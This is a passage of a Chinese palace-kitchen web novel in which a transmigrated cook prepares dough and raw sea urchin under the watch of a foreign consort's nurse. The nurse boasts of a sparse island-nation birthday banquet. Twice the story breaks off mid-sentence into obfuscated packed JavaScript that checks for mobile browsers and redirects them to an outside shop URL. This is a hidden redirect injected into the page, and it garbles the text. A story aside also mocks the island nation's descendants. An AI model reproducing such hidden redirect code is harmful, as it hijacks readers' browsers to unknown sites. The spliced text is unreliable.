广众之下将苏晓瓷替罪之事言明,不顾及整个后厨。 在这件事上,她也必须偏向苏晓瓷。 掂清了轻重缓急,厉玉娘便指着方芳斥责。 “方芳,你言行无状,斗狠争勇,罚打手心十下、扣月钱两月。如若再犯,加倍严惩。” 方芳刚要喊冤,便被厉玉娘瞪射的目光吓得一口气没上来,只能面目灰败地瘫坐在地。 “一时看不住,就给我出这样幺蛾子!” 厉玉娘也没放过在场其他人,一齐骂了。 众膳婢如同一窝刚出生的小猫,缩手缩脚,连尾巴都紧紧贴在肚皮上,一动不敢动。 厉玉娘最后又斥了几句,却忽然柔缓了声线,转身朝某人道。 “丫头们顽劣,让夫人见笑。” 膳婢们这才发现,厉玉娘和白灵等人身后,跟着一位陌生的年长妇人。 约莫与厉玉娘差不多年岁,面容肃如霜雪。 厉玉娘清清嗓子,郑重与众人介绍。 “这一位是安昭仪的乳娘,同样来自和瀛国的阿竹夫人。” 阿竹应声敛衽、垂首,朝着众膳婢就开始鞠躬,十分谦逊地以汉话问候。 “各位女官,初次见面。请叫老身阿竹便是。” 厉玉娘闻言笑开,广袖随着她的动作疏疏朗朗地摇,自有潇洒韵致。 “夫人客气,一群小丫头,实在不值得您如此。” 小小玩笑,活跃氛围,显得对膳婢们亲昵,也显得对阿竹尊敬。 结果阿竹不笑不应,反而受到惊吓似的,令苏晓瓷直接幻视藤原纯子昨晚在国宴上的表情。 只见阿竹立刻摇着头连连反问。 “那怎么行?礼不可失,阿竹不敢造次。” 厉玉娘的笑容一凝。 得,倒显得她不近人情、不善待下属了。 而阿竹再次鞠躬道歉。 “占用各位的宝贵时间冒昧到来,实在非常抱歉。如果可以的话,烦请各位女官往后多多关照,阿竹不胜感激。” 一大串不喘气的敬语,完全是小膳婢们没见过的情况,她们错愕好一会儿,才慌里慌张回礼。 苏晓瓷也屈膝回礼,恰听到边上的小膳婢压低声音惊呼。 “她叫我们女官耶……女官耶!” 另有一个则满脸憧憬地回应。 “听说和瀛国的人都是彬彬有礼的呢。果然如此。” 苏晓瓷看着她们红扑扑的小脸,心说姐妹们难道没听说过“有小礼而无大节”? 繁琐的漂亮话并不难说,只是真心与否,可就不知道了。 和瀛话的信息密度很低,大概只有汉话的一半。(1) 所以他们习惯说大长句。 可这样的说话方式交流起来太费劲——属于出现在小说中,都要怀疑作者是在水字数的那种程度。 果然,接下来,阿竹又长篇大论地感谢了厉玉娘的接待和引路,赞美了鸿胪寺大膳房的建筑、院落、小径花草等等等等…… 直到苏晓瓷站到腰酸腿疼,才听阿竹问。 “哪一位是昨日与安昭仪娘娘讲解‘膳膏芗’的女官?” 果然是冲着我来的! 直觉感到来者不善,苏晓瓷稳住心神出列,自报了家门。 “原来是您。” 阿竹的态度却很温和,再加赠一阵面面俱到的寒暄。 随后,从她的讲述之中,鸿胪寺众人终于得知了她的来意。 “苏女官,昨夜安昭仪娘娘伴驾,与天可汗陛下提起您在饮食典义上造诣高超,言辞精妙,令她十分敬佩。” “因此娘娘已经要了恩典——请您每日往娘娘处聊天解闷,并制些菜肴,她也好多与您切磋切磋,并尽快熟悉大隆饮食典故风俗。” 说了这么一大段话,阿竹嘴角边的弧度却丝毫没有更改,像是画上去的。 “请您现在制作两道菜肴,正好为陛下和娘娘的午膳添彩。” 7. 选海产、白案功夫 皇室、嫔妃、还有朝臣们的饮食最要精益求精,容不得半点差池,向来是由尚食局和光禄寺双方互相牵制,又合力完成。 而鸿胪寺,只需要负责各国使臣的饮食,是为“外食”。 就连鸿胪寺所处的位置,也是皇宫最偏远的角落,且与真正内宫之间,另有宫墙相隔。 可以说,鸿胪寺大膳房中人,唯一接触权贵们的时刻,就只是往国宴送餐而已。 她们平日几乎不在宫中走动,对其中规矩和情形也不甚了解。 现在,却要苏晓瓷去到正得盛宠的高阶嫔妃面前,直接为她供给菜肴! 甚至马上就要做好,连皇帝都在场! 厉玉娘最先反应过来,口中直叹“这真是天大的恩典”,心中想的却是“这真是天大的坑”。 若只是烹制饮食也就罢了,可居然还有什么“切磋饮食典故风俗”? 见惯风浪的厉玉娘,自然看出这是苏晓瓷昨晚其实惹了藤原纯子不快。 对方竟想出这样捧杀的方法,表面上却还落个不耻下问、崇慕大隆风俗文化好名声。 厉玉娘不禁在心中唾弃这筹谋的阴私和扭曲。 她自是不愿手下赴险,可面对天子圣喻,又奈若何? 厉玉娘只得陪着笑脸,好声好气和阿竹周旋,意图得到更多有用的讯息。 她问的都是“娘娘可有什么忌口?”“偏爱什么口味?”“阿竹夫人您觉得什么菜肴会得娘娘喜欢?”这样足够简单客观的问题。 可阿竹还是凝眉苦思,仿佛让她提要求十分困扰。 又磨叽了好一会儿,她才鞠着躬给出答案。 “和瀛国海产丰富,安昭仪娘娘最为喜爱。就请苏女官用海产做两道菜好了。” 呵! 苏晓瓷咬着牙在心里怒骂。 行行行,好好好! 海产海产,吃吧吃吧! 谁能吃过你们啊? 趁着那大海还干净,还没被你们缺了大德的子孙祸祸,赶紧多吃几口吧! 与她的愤慨相比,厉玉娘和白灵却尽是担忧。 怎么要求如此刁钻? 若说喜欢肉类,管它是牛羊还是禽鸟,只要浓油赤酱,做到有滋有味也就是了,挑不出大错。 可她偏偏要吃海产! 那水中之物,五花八门,从清洗到调味,各有不同技法。 稍有不慎,烹调失当,更会惹人上吐下泻。 厉玉娘额间冒出细汗,心间缠起忧思。 她对手下一百五十人的长短并不尽知,只知苏晓瓷勤奋有加,基本功不错。 可她既只是膳婢,单独做菜的机会都少,又怎么有能力烹制海产? 然而,担忧的目光落到苏晓瓷身上,却见她神色沉稳地点了点头。 厉玉娘蓦然一惊。 虽然昨夜是她近乎单方面的朝苏晓瓷输出,但是那一番交流仍然她看出这小娘子的与众不同来。 莫名地,会让人觉得苏晓瓷值得信任,可堪重任。 见苏晓瓷的态度,加之如今骑虎难下,厉玉娘只能答应了。 但她仍不敢托大。 不止立刻遣人去内库,叮嘱只管挑最新鲜、最珍贵的海物回来,还要拨两个厨艺好的一等膳婢给苏晓瓷打下手。 但是苏晓瓷委婉地拒绝了。 她想,既然藤原纯子点名要她来做,她便必须从头到尾亲自动手,不能留下任何话柄。 于是,苏晓瓷只叫了余珠儿帮她刷锅起灶。 事实证明,苏晓瓷这个决定还真是未卜先知,最开始就免除了不必要的麻烦和猜忌。 因为阿竹竟表示要留下来,一直等到苏晓瓷做好了菜,再和她一同送往藤原纯子现在居住的“霓云殿”。 厉玉娘讶然,与左右面面相觑。 “夫人就算等,也不用在这灶间等,烟熏火燎的。” 她盛情相邀,请阿竹移步偏屋休息,既是为了示好,也是想避开阿竹的视线,好帮一帮苏晓瓷。 然而阿竹却站定未动。 “主子的吩咐,阿竹不敢不尽忠职守。” 厉玉娘不再说话了。 可不敢再说了,都差点陷人家于不忠不义了,多大的罪过呀。 好意连着被撅了两次,八面玲珑如她,也讪讪地止了那与阿竹交好的心思。 厉玉娘唯有遣人去搬一把舒适的圈椅来给阿竹。 阿竹道了谢,施施然落座。 她双手置于膝上,轻轻牵住衣襟捋平之后,便如同一个静置的人偶,被摆好了朝向苏晓瓷的方向。 见她如此,厉玉娘忽觉心头火起。 那样监视的姿态和审视的视线,何尝不是对苏晓瓷的一种欺负? 自家手下,居然在自家地盘受如此委屈。 不能没人给她撑场子。 厉玉娘干脆也要来一把圈椅,与阿竹并排而坐。 气氛立刻焦灼了起来。 众人大气不敢出,不约而同看向独自站在空旷膳房中的苏晓瓷。 明明主要食材还未回来,却见她似是沉吟毕,忽然昂首信步,竟已开始了动作。 常见的米面鲜蔬,此处是管够的。 苏晓瓷取一瓮面粉,往案板上倾倒出一座小山来,那手腕灵巧一转,便在中间抡出一个小坑,而后往其中加了清水。 本来白如雪山的面粉堆,立时就变得更像火山了,顶着一圈圆圆的火山口。 然而岩浆却不是往外流,而是由苏晓瓷将那面粉一点、一点往中间的水坑拨去。 质朴无华,却又是非常专业的揉面手法。 所需的,只是一双手、一张案而已。 说起来也是,厨房如战场,忙起来都是火烧火燎的,哪里有时间和空间去摆弄过多的器具? 大道至简。 就像华夏餐食可以一把菜刀走天下一样,对于真正的强者来说,什么电子秤、量杯和刮刀,通通都是浮云。 至于硅胶案板、免粘手套,更是累赘又花里胡哨。 因为面是不怕揉的,不用这样小心翼翼对待。 相反,揉得越狠越不沾,最后手和案都会干干净净,而面团光光亮亮。 苏晓瓷在现代时,就不受那些科技和狠活的限制,因此穿越到这啥也没有的大隆来,仍然是无欲则刚,可以发挥全部的实力。 她的手就如同在那张松木案板上跳舞,一压、一揉、一拉、一按…… 轻盈,但是稳定。 很快,水分渐渐被面粉均匀地吸收,面团也由雨后春泥一般的黏腻湿润,变得柔韧而敦实,像是被挤出雨水的实心云朵,团呼呼的,乖乖地伏在苏晓瓷手下。 厉玉娘明白了,苏晓瓷应该是打定主意要做一道面食。 因此最先面团和好、饧上,给它足够的时间去变得更舒展细腻。 这样临危不乱的调度,令厉玉娘惊讶又欣赏。 内行看门道,她再看着苏晓瓷的揉面手法,更是禁不住对白灵道。 “晓瓷这白案,你教导得很好。” 至于白灵,只能赧然有愧又茫然不解地接了这句夸赞—— 她并不太擅长白案,因此能教苏晓瓷的十分有限。 她也不清楚苏晓瓷的手法……怎么如此精熟。 和面,与摆盘的优美、调味的精准这些灵光闪烁的厨艺天赋不同,可是必须下功夫才能练出的实在手艺啊。 而苏晓瓷甚至没用再加水、或是加面,而是一次成型,就揉出了完美的面团。 最后,面团被她以双手搓揉几下侧边,往案板上那么稳稳一墩,便如同一块打磨过的玉石,潋着盈润的光。 “呀,这面揉得真好。” “我每次和面,都手忙脚乱的,弄得到处都是。” 门口,有不少巴着门框偷看的膳婢们,正在窃窃私语。 由方芳叫骂起,接踵而来的这一系列事件,已经将清晨的鸿胪寺后厨彻底搅醒,更多的人过来看热闹。 众人大都是惊艳和夸奖,唯有方芳怨恨地啐道,“假把式罢了!” 她恨不得苏晓瓷出错。 若是给皇帝和嫔妃的菜肴出了错,受的惩罚可比她打手心要严重多了。 “方芳,你怎么帮着外人说话?” “盼着人点儿好吧你!” “你怎么还在这儿?” 方芳被膳婢们群起攻之,不得不愤愤噤了声。 的确,膳婢们对阿竹很好奇,也颇有好感。 但是她们的立场还是非常坚定的,都盼着苏晓瓷能过这一关。 苏晓瓷表现得也确实超出她们的想象。 “晓瓷可真行,要是右膳长大人坐那看我做菜,我站都站不稳。” 此言一出,众人皆点头如捣蒜。 说着,她们再去看苏晓瓷,就见她气定神闲,好像根本没被三十来人明着暗着围观,其中甚至还有顶头上司。 事实如此,苏晓瓷一旦做起菜来就心无旁骛,连此世是何世都不甚在意,自然不在乎别人的目光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561687|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 面团饧上半刻钟,苏晓瓷再将它揉了一遍。 此时的面团已很松弛,延展性也更好了。 最后将其用微湿的纱布盖上,苏晓瓷就陷入了等待。 仰头瞧一眼愈盛的天光,门口的膳婢们跟着忧心。 “我担心来不及。” “你们说晓瓷能做完吗?” “做好了还得送过去呢!霓云殿可是挺远的啊。” 阿竹来鸿胪寺时,确实尚算清晨,似有充足的时间为午膳备菜。 可实际上,禁宫何其旷大,光是取食材的一来一回就要大半个时辰。 送到霓云殿之后,餐食还要由尚食局检验、试毒,这就又要耽搁。 满打满算,苏晓瓷竟只有不到半个时辰做菜。 仓促至此,如何能做出可供献给陛下的精致佳肴? 骄日渐移,将云影如阴影一般,时深时浅地映在众人身上。 随着时间的流逝,她们越来越清晰地认识到——情况,远比想象中要紧迫。 莫说是不经事的小膳婢们了,连厉玉娘都有些坐不住了。 大膳房之外,草木为经,拂过的清风为纬,纵横织出自在婆娑的轻歌。 大膳房之内,众人却是屏息凝神,只有灶中木柴哔剥作响,余珠儿更是紧盯着那炉火小心护持、不时添柴,只等着苏晓瓷开锅,正式掌勺。 不知又等了多久,终于,去取食材的膳婢们回来了。 又是扁担又是盆,她们明明辎重满满,却为了这后厨罕见的大事而不敢耽误片刻,风风火火赶了回来,属实卖力。 因鸿胪寺后厨也在禁宫,禁绝男子,所以力气活也只能由等级较低的膳婢们去做。 此行为首的,是一唤作“张兰兰”的膳婢。 她身形分外高挑,为人尤其爽直,和苏晓瓷同岁,亦颇有交情。 “晓瓷,快快快,你快挑吧。” 张兰兰来不及擦把汗,只指挥众人将林林总总的食材都列于苏晓瓷眼前。 那一边,厉玉娘忙起身过来查看。 至于苏晓瓷,则向张兰兰等人深施一礼,“辛苦各位姐妹。” 到底是因为她,众人才遭这一番折腾。 而且这还没完——食材由苏晓瓷挑过之后,剩下的,还要原样送回去。 因宫中规矩森严,这样的正经食材出库时,皆有掌秤官一一登记在册,防止贪污。 张兰兰摆手,连声说“不辛苦”,不免令苏晓瓷更为愧疚。 苏晓瓷便道:“我正月生辰里,该领的吃食还没领。等我这两日去领了,整治一桌好饭好菜,请各位赏脸来尝尝。” 鸿胪寺有一条很人性化的规定,也和此间掌管饮食的职责甚为相配,那便是后厨人过生辰,均可领食材加餐。 与占便宜的偷吃偷喝不同,这些食材都是光明正大的,品质亦佳。 寿星便常用其烹制小席面,宴请相好的姐妹,既能一起庆贺生辰,又可一起品评厨艺。 渐渐地,这就成了鸿胪寺一个喜庆的传统。 只是正月那时,原主正病重,自然无法张罗。 如今,苏晓瓷便替她张罗吧。 张兰兰等人都应下,又催着苏晓瓷先去做菜,比她还着急。 苏晓瓷就被推到了那些琳琅珍货前。 银鳞闪亮,彩贝蕴光,青壳似玉又似纱。 有尚养在盆里的活鱼活虾; 有镇在白铜冰鉴里、水汽淋漓的鲜货; 也有经过了时间的试炼才成就的渍物、酢物和干货,种类最多。 苏晓瓷只靠得稍微近了一点,就仿佛有咸鲜的潮湿海风,汹涌澎湃地朝她拍来。 圄于深宫,别说大海了,御花园里的池塘都不能随便去。 这样令人如身临其境的气味已变成一种奢侈,苏晓瓷忍不住猛吸一大口,而后才细细查看起来。 看着苏晓瓷近在咫尺,厉玉娘多想提点她几句。 然而,碍于一刻不停监视的阿竹,她为了争这一口气,也无法开口,唯有紧张地盯着苏晓瓷的一举一动。 厉玉娘见苏晓瓷先挑了一笼虾。 心下稍安,厉玉娘觉得这一个选择很是稳妥。 海虾鲜甜,简简单单清蒸、白灼一下就足够美味,她想苏晓瓷应该能够胜任。 然而,下一瞬,厉玉娘就眼睁睁看苏晓瓷拿起了一个黑不溜秋的东西,还十分满意地掂量掂量,放到了案板之上。 厉玉娘大惊。 你动它作甚?! 8. 三道菜、生吃海胆 自被苏晓瓷点名帮忙,余珠儿虽然在如此重压之下心战胆栗,但还是努力撑住,默不做声地刷洗烧灶。 然而此时此刻,看着苏晓瓷手中之物,余珠儿双唇颤颤,终于忍不住开了口。 “晓瓷姐介,介、这是什么东西啊?” 还吓得嘴都瓢了。 余珠儿是不可以触碰食材的三等膳婢,然而说实话,就是可以碰……她也不想碰这东西。 长得太可怕了! 这真的能吃吗?! 苏晓瓷倒是喜不自胜,眉眼都带着笑地回答。 “这叫海胆,或是海刺猬,鲜美得很。” 而且稀罕得很,哪怕在这烹龙煮凤的皇宫之中,也极少见。 所以余珠儿甚至没见过。 苏晓瓷将海胆在双手中囫囵个儿地晃荡,感受着那些尖尖小刺,爱不释手。 挑拣几样趁手的剪子夹子,她便在众人或惊讶、或担忧的目光之中开起了海胆。 小刀先从中间凹口刺入,转着圈带出一团消化腺丢掉,然后再用夹子仔细地一点、一点掰掉黑壳。 厉玉娘和白灵对视一眼,在对方眼中看到了与自己同样的惊奇。 海刺猬这东西,宫中一年见不到几次。她们倒是听说在闽地沿海,海胆极其普遍,乃至泛滥,以至于当地人有“没钱买鸡蛋,顿顿吃海胆”的笑话。 所以宫中少见海胆,并不是因其珍贵,主要是在这长安城没有食用此物的习惯,便不常采购。 且这东西长相古怪,使臣们可能没吃过、甚至根本没见过,就厉玉娘所知,在求稳的鸿胪寺国宴上,并没做过海胆。 高品阶的膳使冷不丁拿到一个海胆,可能都不知如何下手。 可是苏晓瓷处理海胆的手法却非常熟练、细致,仿佛已经做过千百次。 之前面对苏晓瓷的那种“孺子可教”的欣慰与赞赏,此时已经被“好奇”所取代,厉玉娘看着苏晓瓷的眼神都染上深深的探究之意。 余珠儿也好奇,忍不住凑过来看,只见橙黄色的海胆肉已经渐渐露头。 “像橘子瓣似的。” 她惊异地嘟囔,没想到这东西外壳可怖,里面还是挺好看的。 一片片海胆肉厚嘟嘟的,很像是饱满的橘子瓣。 那颜色也有些像,澄黄澄黄的,如同软金,趴在深黑的壳中。 黄黑配,这是一种抓眼而高级的颜色搭配,十分具有冲击力,难怪余珠儿感慨。 苏晓瓷点头,“春季的海胆鲜甜肥嫩,正是好时节。” 很快,扁球形的海胆被她掰成一个小碗形状。 五片海胆肉整整齐齐,有序地排列其中。 黑膜去除,再冲洗干净…… 在鸿胪寺当差最美好的时刻,终于到来了。 苏晓瓷一手托着海胆,一手拿起小匙,义正辞严。 “海物最忌不新鲜,请容我先替陛下和娘娘品尝一下。” 这话说的,要多正经有多正经,实则已然是极限。 她绝不能再开口了,再开口,口水都要滴到脚面了。 小匙轻轻地拨动,将一片海胆肉接上来,直达苏晓瓷的唇齿之间。 “直接这样生吃吗?!” 门口的看客们都惊呆了。 “我都没见过这玩意儿。” “实在长得太丑了。” “不好吃吧……你们看晓瓷的表情变都没变,好严肃啊……” 可实际上,苏晓瓷是用尽毕生的演技和自制力,才没有当场捧着脸,恍惚傻笑起来。 太好吃了! 柔嫩的海胆肉,冰淇淋一样滑,软软地吻上舌尖,瞬间释放出了无与伦比的鲜甜。 尚未被污染的大海,似乎对这一位几乎从时间起源就陪伴自己的老朋友,有着特别的优待。 她慷慨地将独特的滋味、充沛的汁水、丰富的营养,伴随着亿万年的光阴全数凝聚在这一片小小的海胆肉上。 海胆肉表面那些细腻的颗粒,不止是对舌头,更是对心灵的一场轻柔按摩,苏晓瓷愉快得想要手舞足蹈。 虽然穿越之后,诸般受限,但是起码在“吃喝”二字上,苏晓瓷没受一点委屈。 如果说,海胆肉初入口时的鲜味如同一个猛子扎到海里; 那么,之后的余味则如同浪潮褪去,仰躺在湿润的沙滩上,忽来一阵微风的那种清爽。 海胆余味甘甜,令苏晓瓷回味无穷。 其实,无论是食材也好,菜品也罢,本来就需要由主厨第一个品尝。 此举,既是对食客,也是对自己负责。 所以苏晓瓷的所作所为,完全是合规合理的。 当然,总共五片,她硬是尝了三片……这就完全是夹带私货了。 但她偏偏神色很端正地凝眉,仿佛真的在认真品评食材的新鲜度,也就没有人对此表示异议。 最后,庄重地点了点头示意合格,苏晓瓷将剩下的两片海胆肉刮进一个铜盆备用。 如此这般,苏晓瓷又开了一个海胆。 解了馋,这个她就没那样彻底“检查”,只尝一片即可,仍是入口鲜冽,可见这批海胆品质很好,十分新鲜。 而后,再拿起一个…… 苏晓瓷的手没停,围观众人的讨论也没停。 阿竹其实一直能听到膳婢们的交谈,于是不知为何,她好似忽然就来了精神,蠢蠢欲动着有话要说。 直到苏晓瓷开了第六个海胆,阿竹再也抑制不住,蓦然朝厉玉娘发问。 “右膳长大人,难道……大隆竟没有生食海胆的习惯吗?” “啊?啊……这个怎么说呢。” 厉玉娘一时不知如何回答。 大隆饮食中,生食海物当然是很普遍的,比如各种鱼脍、蟹生、醉虾之类,可供生食的食材和做法数不胜数。 但因为帝国幅员太过辽阔,人口极其兴旺,算下来,生食海胆的只占少数。 ……这应该不能称之为生食海胆的“习惯”吧? 厉玉娘就含糊地答了一句“没有”。 这下子,阿竹的脊背挺得更直。 “这样吗?其实我和瀛国本来也是不吃海胆的。右膳长大人或许知晓,本国四面临海,料理之中,昆布……哦,也就是海带尤其重要。” “而因为海胆主食海带,会破坏海带的生长。说来惭愧,本国一直以来将都将这黑漆漆的海胆视作邪物。” 阿竹的语气有着莫名的昂扬和骄傲,一连串的话不停歇。 “也是直到几十年前,北陆的海女们才发现海胆滋味可口。如今,海胆正是贵人们宴席上的新宠呢。(1)” “哦,是吗?” 厉玉娘已对阿竹心生不喜,这回应便很敷衍。 阿竹却极有兴致,本来古井无波的脸上,也泛着几分笑意。 好像仅凭年纪轻轻的小膳婢们的只言片语,她就已经认定——大隆之人不懂得如何生食海胆,非要给厉玉娘讲上一讲。 “是的。生海胆拌在白米饭中,再撒一些盐巴,或是僧侣大人们酿造的精制酱油,那真是无上的美味呢。” “前年秋天,藤原将军大人五十岁寿宴时,老身便有幸品尝过。” 阿竹抬起头看着虚空,似乎陷入了回忆。 因为是大寿庆典,她们这样平时没有资格参加宴席的女使,也在偏屋,拥有了一席之地。 每人面前都摆着一个四方的红漆小桌案,其上,是装涂同样红漆的几种餐具。 阿竹回忆道:“真是一场盛宴啊。那日的菜肴,有海带烧虾米、味噌猪肉和煮干鱿鱼。” 厉玉娘终于被吊起了一点兴趣。 她虽身居高位,但初心不改,既为庖厨,听到异国的宴席菜色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561688|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底还是好奇,这一次的回应也终于上了点儿心。 “海带与虾米同制,清鲜之味强强联合,作为开胃菜肴确实不错。” 阿竹一愣,“这是主菜。” 开胃菜是几块酸萝卜,以及几片甜姜,她没说。 厉玉娘也愣住。 依她的度量,主菜必须是包含水陆之珍、大量荤鲜的硬菜,只是几片海带加几钩海米……实算不上。 而且阿竹第一个说的就是此菜,她便直接按照大隆宴饮风俗,将其归为了开胃小菜。 厉玉娘很会自省,只觉得自己太想当然了,这便略尴尬地找补。 “啊原来如此,是我欠思量,夫人莫怪。这三道菜都很鲜美,果然是岛国风情,想必其它主菜更为精致吧?” 阿竹忽然沉默了。 她刚刚意气风发着滔滔不绝,此时,那一双手却捉着衣襟揉来揉去。 她近乎无措地眨眨眼,看着认真求问的厉玉娘,还有其身边一众等待回答的属下们。 半晌,阿竹才小声道。 “就这三道菜。” 厉玉娘:……? 她此时的疑惑千真万确。 因为她真的不相信阿竹这句话。 她甚至怀疑是阿竹说错了,因为对方的汉话水平和藤原兄妹相比,毕竟还是差了一个档次。 或许是自己记错了?厉玉娘又想。 可她分明记得,和瀛国的大将军衣食住行,是比肩天皇的。 尊贵如国君,五十知天命的圣寿之宴,真的只有三道主菜?(2) 鸿胪寺每早供给小膳婢们的朝食,都要至少一荤两素啊! 正是因为太过震惊,厉玉娘脱口而出。 “三道?!” 她甚至重复着追问:“真的只有三道主菜?” 阿竹的脸上顿时火辣辣的。 对方这种纯粹而并无恶意的反应,就像是一个个耳光打在脸上。 情况急转直下,她瞬间就从高高在上讲解之人,变成了厉玉娘手下一个弱小的膳婢似的,再也顾不上监看苏晓瓷,而是中气不足地朝厉玉娘解释。 “不是只有主菜的……还有一饭碗、一汤碗、一茶碗,加上一酒盏的。” 厉玉娘:……这些本就是必须的啊。 “那米饭、那御米饭是农户们新舂的白米。” 厉玉娘:……所以呢? “汤是海带豆腐汤。” 厉玉娘:……又是海带?行了,知道海带对你们很重要了。 “对了,那豆腐、那豆腐是僧侣大人们制作的豆腐,十分珍贵呢!” 厉玉娘彻底无语了。 这话她要怎么回? 也特意说一句“此处的豆腐是膳婢们制作的豆腐”? 因为豆子耐储又便宜,鸿胪寺中几乎每日供应豆浆,与之相关的豆腐、豆花、腐皮,还有干豆腐等系列制作,都算是基本功。 一旦升为有权接触食材的二等膳婢,就会被姐姐们教导制作。 厉玉娘丝毫不觉得这是什么需要特别点出、为之骄傲的事情啊。 厉玉娘发誓,她是很想搭上几句话的。 可是心中这千回百转的思绪,实在不能说出口啊! 她也知自己标准严格、说话严厉……还是别说了,否则这阿竹夫人都要哭了。 但是,阿竹自己开了夸耀和瀛国宴席的头,骑虎难下。 就算厉玉娘不回应,她也只能继续说下去,说着说着,这话都有些颠三倒四了。 “汤碗里有时是汤,有时呢……也不是汤,是一些蒸物、煮物,比如煮花蛤、蒸鸡肉……种类、种类还是很丰富的。” 而厉玉娘的思路尤其清晰,终于忍不住,当即反问。 “汤碗被占了,那岂不是就没汤了?” 阿竹身子一缩,眼圈一红,真的要哭了。 9. 论豆腐、和瀛寿宴 厉玉娘实在不是故意的。 但是她半生钻研宴饮之事,光听着阿竹的描述、看着她比划的尺寸,就可以大致在脑海中模拟出和瀛国宴席的情况。 依阿竹所说的,那仅仅一尺多见方的红漆小案,可不是早被几件杯盘摆得满满当当了? 如果汤碗里的汤被替换成菜肴,可不就是没汤了? 然而,无汤不成席啊! 厉玉娘想不明白,怎么就能抠搜至此? 但再想不明白,她也不打算再说话了。 因为厉玉娘已经既敏锐、又纳闷地发现——自己随口的一句话,仿佛就对阿竹是一个巨大的打击。 然后,阿竹便需要用许多句话来找补,许多句话来解释。 虚张声势又战战兢兢,好像一个自知做了错事的孩子。 阿竹视线游移,“老身觉得,有没有汤的……也不那么重要。食物珍贵,能有几样可口的便是,不须铺张浪费。” 厉玉娘长眉一挑,刺入簪满黄金小花钿的发间。 她不禁怀疑,阿竹难道是指责鸿胪寺的国宴太过铺张浪费? 厉玉娘已经熟悉了和瀛国人的说话风格——虽态度恭敬,内容却总是那么不中听,阴阳怪气的,让人浑身难受。 两次国宴,阿竹其实都未列席。 准确地说,和瀛使团中除了藤原纯子,再没有任何女子列席。 就连藤原纯子,也没有出席第一次的正式接风宴。 而是在当夜,含羞带怯地被送往君王的寝殿。 并非大隆不愿招待和瀛众女。 实际上,大隆向来对所有使团中男女一视同仁,宴请的邀约惠及全员。 毕竟本朝可是曾有数位女帝的,其它朝觐的邦国,也不乏女王或是作为王嗣的公主、女爵等女性领主前来。 是和瀛国的女子们,不论年长还是年幼,不论未嫁还是已婚,都自觉不配出现在如此庄严的国事场合,于是自请回避。而且说到底,和瀛使团中的女子,也只有藤原纯子、阿竹,以及围着她们转的几名侍女,无任何人承担了外交的实职。 厉玉娘想,阿竹既然没有亲眼赴宴,那她这么说的缘由就令人玩味。 莫不是和瀛使团私下里,就是这么评价大隆国宴的?! 想整个鸿胪寺因为这场临时升级的国宴,昼夜颠倒忙了两天,结果人家倒是毫不领情…… 厉玉娘冷哼一声。 再说,她们也并没有浪费啊! 每次国宴剩下的吃食,一小半照例送到各司局去打点人情; 另一大半,则全被手下这些大馋丫头、小馋丫头们分了。 鸿胪寺百十来宫娥,全吃得珠圆玉润、丰容盛鬋,一眼就能和别处的看出区别。 再盛大的国宴,也物尽其用了! 何谈浪费?! 阿竹尚不知在厉玉娘这里,自己的好感度已经降到零点了,仍在絮絮叨叨讲着藤原将军那一场寿宴。 并且想法设法,将话题重点拉回了自己更“了解”的海胆上。 阿竹清楚地记得,那场寿宴规格极高,所以竟有一篮新鲜海胆供应,可以当场开启。 这样新奇的体验和奢侈的赏赐,引得最重端庄仪态的女使们,也此起彼伏地惊呼着感谢将军恩典。 藤原将军子女众多,但除了最年幼的纯子姬,其余皆已婚嫁,他们的乳娘自然也随行离了将军府。 阿竹作为唯一在室女的乳娘,现场再没有比她资历和地位更高的女使了。 于是当天,阿竹便如同被群星所拱的北辰,流景扬辉,高悬不动,任众女殷勤地恭维和侍奉,为她送来一整颗海胆。 金黄的海胆铺到白米饭上,仿佛霎时炸射出数道金光,映到了含笑去看的阿竹脸上,再镀满她的全身。 在女使们的争相赞叹和恭敬催请中,阿竹吃下了那第一口鲜甜。 那样的滋味,那样的风光,阿竹一辈子都不会忘。 所以此时,她只将苏晓瓷的身影和那些女使们重合,见她仍在开海胆,便颇为欣慰地细细叨念着。 “苏女官也是想以海胆和白米饭的搭配进献给娘娘吧,亏她能想到呢。” 白米饭、白米饭……我看你像碗白米饭! 厉玉娘恨不得翻一个白眼送给阿竹。 白米饭配菜一起吃,有脑子有手的人就会,这有什么可特意想的? 厉玉娘可不觉得,苏晓瓷真会这样做。 但此时此刻,厉玉娘实在没有闲情逸趣与阿竹周旋,只顺着她的话点头附和。 于是阿竹又有了精气神,不依不饶地,邀请厉玉娘也该尝一尝这种吃法。 厉玉娘只能随口吩咐身边人。 “桂秋,等下拿两颗海胆回去,按照阿竹夫人所说加到我的昼食中。” 名为“桂秋”的一等膳使哭笑不得。 她和几位姐妹一同负责厉玉娘起居,深知两颗海胆,在厉玉娘颇为精细的饮食中是排不上号的。 但桂秋也知厉玉娘的无奈,这便恭声应了,将这一页揭过。 苏晓瓷离得远,并未注意到厉玉娘和阿竹这段令人啼笑皆非的插曲,只专注烹调。 等她开完六个海胆,已经挥霍去不少时间。 就在众人以为苏晓瓷终于要赶紧热油、爆锅、噼里咔嚓做菜的时候,她居然又老神在在地拿起了那笼海虾,开始一个个刷洗清洁。 “右膳长大人……” 白灵急得跺脚,下意识寻求帮助。 厉玉娘却只轻摇摇头示意稍安勿躁,向她使了眼色,让她仔细看着苏晓瓷。 